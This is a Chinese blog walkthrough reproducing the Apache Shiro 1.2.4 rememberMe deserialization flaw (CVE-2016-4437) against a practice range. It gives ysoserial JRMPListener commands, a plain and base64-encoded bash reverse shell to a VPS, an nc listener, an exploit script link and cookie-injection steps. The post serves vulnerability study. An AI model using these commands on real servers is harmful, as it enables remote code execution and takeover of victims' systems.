ApacheShiro1.2.4反序列化漏洞復現(CVE-2016-4437)

前言:

Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。

影響版本:

Apache Shiro <= 1.2.4

漏洞原理:

Apache Shiro 1.2.4及以前版本中,Apache Shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。

漏洞特徵:

shiro反序列化的特徵:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
在這裏插入圖片描述

漏洞復現:

  1. vps機器,java環境
  2. 版本Apache Shiro <=1.2.4
  3. http請求包cookie中的RememberMe參數
  4. 靶場地址:http://vulfocus.fofa.so/
  5. exp下載地址:https://pan.baidu.com/share/init?surl=yH6phKiN3F5RihRXSPe-Qg(提取碼pstc)

第一步:啓動靶機後,訪問URL通過burp抓包,判斷環境存在shiro,查看返回包中Set-Cookie中是否存在rememberMe=deleteMe
在這裏插入圖片描述

第二步:打開公網vps,執行如下命令:(注意這裏監聽的端口爲1099)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反彈 shell 的命令"

這裏的命令需要使用Java Runtime配置bash編碼。
在線編碼轉換地址:http://www.jackson-t.ca/runtime-exec-payloads.html
轉換命令如下:(這裏是反彈shell的端口爲1234)

bash -i >& /dev/tcp/VPS公網ip/1234 0>&1

在這裏插入圖片描述

第三步:最終在VPS上執行的命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuOS4zNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

在這裏插入圖片描述
第四步:使用exp.py生成payload,需要python2的環境,命令如下:

python2 exp.py 公網VPS:1099   (注意這裏的端口爲1099)

紅色框標出的爲生成的payload
在這裏插入圖片描述
第五步:在VPS上,使用nc監聽1234端口,命令如下:

nc -lvvp 1234

在這裏插入圖片描述
第六步:通過burp抓取任意的http數據包,在cookie中添加生成的payload
在這裏插入圖片描述

第七步:通過burp發送數據包,查看VPS中java監聽接口,nc監聽結果。
在這裏插入圖片描述
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章